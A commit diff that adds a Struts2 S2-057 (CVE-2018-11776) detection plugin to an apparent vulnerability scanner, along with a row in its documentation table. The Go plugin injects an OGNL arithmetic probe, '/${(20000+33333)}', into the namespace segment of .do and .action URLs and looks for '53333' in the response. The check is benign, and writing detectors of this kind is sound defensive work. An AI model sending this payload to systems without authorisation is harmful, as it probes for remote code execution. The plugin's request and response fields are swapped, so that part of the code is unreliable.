增加 struts2-057 远程代码执行检测插件

doc/plugin.md

@@ -81,4 +81,5 @@
 | KP-0075 | Jenkins Script Security and Pipeline RCE | jenkins | CVE-2019-1003000 |[vulhub](https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353)|
 | KP-0076 | Socks5代理 未授权访问 | proxy | ||
 | KP-0077 | Struts2 s2-046 远程代码执行 | struts2 | CVE-2017-5638 |[vulapps](https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-046)|
+| KP-0078 | Struts2 s2-057 远程代码执行 | struts2 | CVE-2018-11776 |[vulapps](https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-057)|
 

plugin/go/struts2-057.go

@@ -0,0 +1,69 @@
+package goplugin
+
+import (
+	"net/http"
+	"regexp"
+	"strings"
+
+	"github.com/opensec-cn/kunpeng/plugin"
+	"github.com/opensec-cn/kunpeng/util"
+)
+
+type struts2_57 struct {
+	info   plugin.Plugin
+	result []plugin.Plugin
+}
+
+func init() {
+	plugin.Regist("struts2", &struts2_57{})
+}
+func (d *struts2_57) Init() plugin.Plugin {
+	d.info = plugin.Plugin{
+		Name:    "Struts2 s2-057 远程代码执行",
+		Remarks: "当struts.mapper.alwaysSelectFullNamespace设置为true，并且package标签页以及result的param标签页的namespace值的缺失，或使用了通配符时可造成namespace被控制，最终namespace会被带入OGNL语句执行，从而产生远程代码执行漏洞。",
+		Level:   0,
+		Type:    "RCE",
+		Author:  "wolf",
+		References: plugin.References{
+			URL:  "https://cwiki.apache.org/confluence/display/WW/S2-057",
+			CVE:  "CVE-2018-11776",
+			KPID: "KP-0078",
+		},
+	}
+	return d.info
+}
+func (d *struts2_57) GetResult() []plugin.Plugin {
+	return d.result
+}
+func (d *struts2_57) Check(URL string, meta plugin.TaskMeta) bool {
+	poc := "/${(20000+33333)}"
+	r, err := regexp.Compile(`\/(\w+)\/\S+\.(do|action)$`)
+	if err != nil {
+		return false
+	}
+	for _, url := range meta.FileList {
+		if ok := r.MatchString(url); ok {
+			m := r.FindStringSubmatch(url)
+			if len(m) < 2 {
+				continue
+			}
+			request, err := http.NewRequest("GET", strings.Replace(url, "/"+m[1], poc, 1), nil)
+			if err != nil {
+				return false
+			}
+			resp, err := util.RequestDo(request, true)
+			if err != nil {
+				util.Logger.Println(err.Error())
+				return false
+			}
+			if strings.Contains(resp.Other.Request.URL.String(), "53333") {
+				result := d.info
+				result.Response = resp.RequestRaw
+				result.Request = resp.ResponseRaw
+				d.result = append(d.result, result)
+				return true
+			}
+		}
+	}
+	return false
+}